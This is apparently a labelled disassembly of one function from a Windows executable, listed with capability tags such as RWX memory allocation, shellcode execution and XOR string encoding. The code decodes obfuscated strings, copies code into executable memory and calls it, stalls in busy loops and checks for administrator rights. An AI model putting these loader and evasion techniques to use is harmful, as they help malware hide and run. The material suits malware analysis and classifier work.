Function at 0x14023bdf0
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xaa80
call fcn.14026ed30
sub rsp, rax
movaps xmmword [rsp + 0xaa70], xmm6
movaps xmmword [rsp + 0xaa60], xmm7
movaps xmmword [rsp + 0xaa50], xmm8
movaps xmmword [rsp + 0xaa40], xmm9
movaps xmmword [rsp + 0xaa30], xmm10
movaps xmmword [rsp + 0xaa20], xmm11
movaps xmmword [rsp + 0xaa10], xmm12
movaps xmmword [rsp + 0xaa00], xmm13
movaps xmmword [rsp + 0xa9f0], xmm14
mov rax, qword [0x140291040]
xor rax, rsp
mov qword [rsp + 0xa9e0], rax
xor edi, edi
mov dword [rsp + 0x98], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xbc8], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0x1f8], rcx
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xbd0], r14
mov qword [rsp + 0xbd8], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbc8], rax
mov qword [rcx], rdi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0xbe0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [0x14027d098]
movsd qword [rsp + 0x78], xmm0
movzx ecx, word [0x14027d0a0]
mov word [rsp + 0x80], cx
cmp byte [0x14027d0a1], dil
je 0x14023bf41
mov byte [rsp + 0x78], 0x54
xor byte [rsp + 0x79], 0x42
xor byte [rsp + 0x7a], 0x44
xor byte [rsp + 0x7b], 0x46
xor byte [rsp + 0x7c], 0x48
xor byte [rsp + 0x7d], 0x4a
xor byte [rsp + 0x7e], 0x4c
xor byte [rsp + 0x7f], 0x4e
xor byte [rsp + 0x80], 0x50
xor byte [rsp + 0x81], 0x52
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024a3c0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1ac], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rax, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rax
mov r12, qword [rax]
xor r12, r14
mov qword [rsp + 0xb70], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x140295120]
lea r15, [0x14024a780]
lea rsi, [0x140000000]
test rax, rax
je 0x14023bfdd
mov rdx, rdi
cmp rax, r15
je 0x14023c00c
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x295120]
test rax, rax
jne 0x14023bfc7
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14023c024
mov r8, rdi
jmp 0x14023c0be
mov r8, qword [rsi + rdx*8 + 0x297400]
test r8, r8
je 0x14023bfdd
mov r13d, 3
jmp 0x14023c0df
mov rax, r15
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023c030
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
mov qword [rsi + rax*8 + 0x295120], r15
mov qword [rsi + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x1ac]
mov rcx, rbx
call r8
nop
xor r12, r14
mov qword [rsp + 0xb70], r12
lea rax, [rsp + 0xaa98]
mov qword [rax], r12
lea rbx, [0x1402118a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rax, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rax
mov r12, qword [rax]
xor r12, r14
mov qword [rsp + 0xb70], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x140296400]
lea r15, [0x14024b060]
test rax, rax
je 0x14023c180
mov rdx, rdi
cmp rax, r15
je 0x14023c16f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296400]
test rax, rax
jne 0x14023c157
jmp 0x14023c180
mov r8, qword [rsi + rdx*8 + 0x296d90]
test r8, r8
jne 0x14023c261
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023c1a9
mov r8, rdi
jmp 0x14023c240
mov rax, r15
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023c1b2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297730]
mov qword [rsi + rax*8 + 0x296400], r15
mov qword [rsi + rax*8 + 0x296d90], r8
inc rax
mov qword [0x140297730], rax
mov rcx, rbx
call r8
nop
xor r12, r14
mov qword [rsp + 0xb70], r12
lea rcx, [rsp + 0xaa98]
mov qword [rcx], r12
test al, al
je 0x14023c490
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x20e4], 0xffffffff
mov dword [rsp + 0xd64], eax
mov esi, 1
mov edx, esi
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xd64], eax
inc rdx
cmp rdx, 0x270
jb 0x14023c2b0
mov dword [rsp + 0xd60], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r15, qword [rsp + 0x50]
add r15, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x778]
call fcn.1401f2240
cmp qword [rax], r15
jge 0x14023c487
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023c35b
nop dword [rax + rax]
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023c340
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, esi
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023c3ab
nop dword [rax]
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023c390
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023c3fb
nop
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023c3e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023c44b
nop
lea rcx, [rsp + 0xd60]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023c430
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, rsi
jne 0x14023c320
jmp 0x14023c300
mov eax, dword [rsp + 0x40]
jmp 0x14024382a
movzx eax, word [0x14027f7d8]
mov word [rsp + 0x88], ax
movzx eax, byte [0x14027f7da]
mov byte [rsp + 0x88], 0x62
xor byte [rsp + 0x89], 0x42
xor al, 0x44
mov byte [rsp + 0x8a], al
lea rdx, [rsp + 0x88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024a3c0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movzx eax, word [0x14027d95c]
mov word [rsp + 0x8c], ax
movzx eax, byte [0x14027d95e]
mov byte [rsp + 0x8c], 0x62
xor byte [rsp + 0x8d], 0x42
xor al, 0x44
mov byte [rsp + 0x8e], al
lea rdx, [rsp + 0x8c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024a3c0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xa40]
call fcn.140217b30
mov rdx, rax
lea rcx, [0x1402941f0]
call fcn.140247170
lea rcx, [rsp + 0xa40]
call fcn.140248aa0
movzx eax, word [0x14027d114]
mov word [rsp + 0x90], ax
movzx eax, byte [0x14027d116]
mov byte [rsp + 0x90], 0x62
xor byte [rsp + 0x91], 0x42
xor al, 0x44
mov byte [rsp + 0x92], al
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024a3c0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1402941f0]
lea rcx, [rsp + 0xaa0]
call fcn.140247310
mov rdx, rax
lea rcx, [rsp + 0xa60]
call fcn.14020af10
mov rdx, rax
lea rcx, [rsp + 0xa80]
call fcn.14020a580
mov rdx, rax
lea rbx, [0x140294450]
mov rcx, rbx
call fcn.140247170
lea rcx, [rsp + 0xa80]
call fcn.140248aa0
cmp qword [0x140294468], 0xf
cmova rbx, qword [0x140294450]
mov r8, qword [0x140294460]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14023c662
movzx eax, word [0x14027f6f8]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.____3l_1_T]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14027f6fa]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x65
xor byte [rsp + 0x61], 0x42
xor byte [rsp + 0x62], 0x44
xor byte [rsp + 0x63], 0x46
xor byte [rsp + 0x64], 0x48
xor byte [rsp + 0x65], 0x4a
xor byte [rsp + 0x66], 0x4c
xor byte [rsp + 0x67], 0x4e
xor byte [rsp + 0x68], 0x50
xor byte [rsp + 0x69], 0x52
xor al, 0x54
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
call fcn.14024a3c0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xba8], xmm0
movups xmmword [rsp + 0xbb8], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xba8], rax
movdqu xmmword [rsp + 0xbb0], xmm0
mov qword [rsp + 0xbc0], rdi
xor eax, eax
movups xmmword [rsp + 0xbf0], xmm0
movups xmmword [rsp + 0xc00], xmm0
movups xmmword [rsp + 0xc10], xmm0
movups xmmword [rsp + 0xc20], xmm0
movups xmmword [rsp + 0xc30], xmm0
movups xmmword [rsp + 0xc40], xmm0
movups xmmword [rsp + 0xc50], xmm0
mov qword [rsp + 0xc60], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbf0], rax
mov byte [rsp + 0xc3c], 0
mov dword [rsp + 0xc40], 7
call fcn.1401f2770
mov rcx, rax
test rax, rax
je 0x1402438bc
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc48], rax
call fcn.1401f2770
mov rcx, rax
test rax, rax
je 0x1402438c7
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc50], rax
call fcn.1401f2770
mov rcx, rax
test rax, rax
je 0x1402438d2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc58], rax
call fcn.1401f2770
mov rcx, rax
test rax, rax
je 0x1402438dd
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xb50]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14023c916
lea rcx, [rsp + 0xba8]
mov rax, qword [rsp + 0xba8]
call qword [rax + 8]
mov rax, qword [rsp + 0xb50]
mov qword [rsp + 0xbb0], rax
lea rdx, [rsp + 0xbf0]
lea rcx, [rsp + 0xba8]
call fcn.140249d80
test al, al
je 0x14023c916
lea rcx, [rsp + 0xbf0]
call fcn.1401f2ae0
lea rcx, [rsp + 0xac8]
mov qword [rsp + 0xac0], rcx
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0xac0]
call fcn.140247cf0
nop
mov rdx, qword [rsp + 0xac0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x5b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5c8], xmm1
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14023c8c0
lea rcx, [rsp + 0x5b8]
call fcn.14020c680
lea rdx, [rsp + 0x5b8]
lea rcx, [0x1402944d8]
call fcn.140247170
lea rcx, [rsp + 0x5b8]
call fcn.140248aa0
nop
lea rax, [rsp + 0xac8]
mov rcx, qword [rsp + 0xac0]
cmp rcx, rax
je 0x14023c91d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14023c91d
mov r15, 0xffffffffffffffff
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x598], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5a8], xmm1
mov r8, r15
inc r8
cmp word [rdx + r8*2], 0
jne 0x14023c940
lea rcx, [rsp + 0x598]
call fcn.14024bf90
nop
lea rdx, [rsp + 0x598]
lea rcx, [rsp + 0xb88]
call fcn.1401f9e10
nop
lea rcx, [rsp + 0x598]
call fcn.1402489a0
lea rdx, [rsp + 0xb88]
cmp qword [rsp + 0xba0], 0xf
cmova rdx, qword [rsp + 0xb88]
mov r8, qword [rsp + 0xb98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0xc70]
call fcn.14026eb14
lea rax, [rsi + 0x27f00c]
mov qword [rsp + 0xc70], rax
lea rcx, [rsp + 0xd00]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 1
mov dword [rsp + 0x98], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xc80]
lea rcx, [rsp + 0xc70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc70], rax
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc6c], edx
lea rax, [rsp + 0xc80]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xc80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0xc80], rax
lea rdx, [rsp + 0xb88]
cmp qword [rsp + 0xba0], 0xf
cmova rdx, qword [rsp + 0xb88]
mov r9d, 2
mov r8, qword [rsp + 0xb98]
lea rcx, [rsp + 0xc80]
call fcn.1402496a0
nop
mov r8b, 0x3a
lea rdx, [0x140294330]
lea rcx, [rsp + 0xc70]
call fcn.1402509f0
mov r8b, 0x3a
lea rdx, [0x140294548]
lea rcx, [rsp + 0xc70]
call fcn.1402509f0
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc70]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140294508]
lea rcx, [rsp + 0xc70]
call fcn.1402509f0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3474], 0xffffffff
mov dword [rsp + 0x20f4], eax
mov edx, r12d
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x20f4], eax
inc rdx
cmp rdx, 0x270
jb 0x14023cb30
mov dword [rsp + 0x20f0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x798]
call fcn.1401f2240
cmp qword [rax], r14
jge 0x14023cd0d
mov qword [rsp + 0x98], 0x186a0
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023cbdb
nop dword [rax]
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023cbc0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023cc2b
nop word [rax + rax]
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023cc10
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023cc7b
nop
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023cc60
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023cccb
nop
lea rcx, [rsp + 0x20f0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023ccb0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x98], 1
jne 0x14023cba2
jmp 0x14023cb80
mov eax, dword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov r9d, edi
movdqa xmm9, xmmword [0x140280570]
movdqa xmm6, xmmword [0x1402806c0]
movdqa xmm7, xmmword [0x1402806d0]
movdqa xmm13, xmmword [str.jjjjllll]
movdqa xmm14, xmmword [0x1402806e0]
movdqa xmm10, xmmword [0x1402806a0]
movdqa xmm8, xmmword [0x140280680]
test eax, eax
je 0x14023d024
movups xmm0, xmmword [0x14027e260]
movups xmmword [rsp + 0x278], xmm0
movups xmm1, xmmword [0x14027e270]
movups xmmword [rsp + 0x288], xmm1
mov eax, dword [0x14027e280]
mov dword [rsp + 0x298], eax
movzx eax, byte [0x14027e284]
mov byte [rsp + 0x29c], al
cmp dword [0x140291090], 2
jl 0x14023cf39
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x27c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14023cdc0
cmp r9d, 0x25
jge 0x14023cf9c
movsxd rax, r9d
lea r10, [rsp + 0x278]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x14023cf50
lea rax, [rsp + 0x278]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14023cfa7
movabs rbx, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb98]
sub rbx, rdx
cmp rbx, rcx
jb 0x1402438b6
lea rax, [rsp + 0xb88]
cmp qword [rsp + 0xba0], 0xf
cmova rax, qword [rsp + 0xb88]
